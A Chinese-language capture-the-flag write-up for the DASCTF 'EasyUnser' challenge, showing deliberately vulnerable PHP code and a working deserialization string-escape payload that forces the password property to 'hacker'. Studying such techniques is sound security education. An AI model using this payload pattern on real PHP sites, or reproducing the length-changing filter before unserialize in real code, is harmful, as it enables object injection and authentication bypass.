【中北大学DASCTF】EasyUnser PHP反序列化字符串逃逸
题目
<?php
include_once 'flag.php';
highlight_file(__FILE__);
// Security filtering function
function filter($str){
return str_replace('secure', 'secured', $str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset($_POST['username']) && isset($_POST['password'])){
// Security filtering
$h->username = $_POST['username'];
$c = unserialize(filter(serialize($h)));
if ($c->password === 'hacker'){
echo $flag;
}
}
思路
详细原理参考:https://blog.csdn.net/qq_45521281/article/details/107135706
分析代码,我们需要通过字符串逃逸,将 password
字段的值修改为 hacker
。
尝试构造用于 POST 的 payload:username=";s:8:"password";s:6:"hacker";}&password=hacker
因为在 filter
函数中,secure 被替换成 secured,增加了一个字符,而我们构造的 username
字段的长度为 31,因此为了让后面的字符串逃逸出来,我们要在里面加上 31 个 secure,即:
username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}&password=hacker
POST 提交,成功显示 flag:
完整利用过程
当我们 POST 上去过后,序列化后的内容变为了:
O:6:"Hacker":2:{s:8:"username";s:217:"securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}
username
内容的长度即为图中框选的部分:31 (payload 部分的长度) +31×6=217,没毛病。
最后一段 ";s:8:"password";s:6:"hacker";}
由于前面已经形成闭合,所以在之后的反序列化中不会产生作用。
接下来 filter
函数将所有的 secure 替换成secured,变成了:
O:6:"Hacker":2:{s:8:"username";s:217:"securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured";s:8:"password";s:6:"hacker";}";s:8:"password";s:6:"hacker";}
反序列化后的内容为:
string(6) "Hacker"
["username"]=>
string(217) "securedsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecuredsecured"
["password"]=>
string(6) "hacker"
这下 31 个 secured 完美占据了 217 个长度,成为了 username
的内容,而后面的部分则 ”逃逸“ 了出来,变成了对象的属性。之前对象的 password
字段的 margin123 也就变成了 hacker。
妙啊,实在是妙。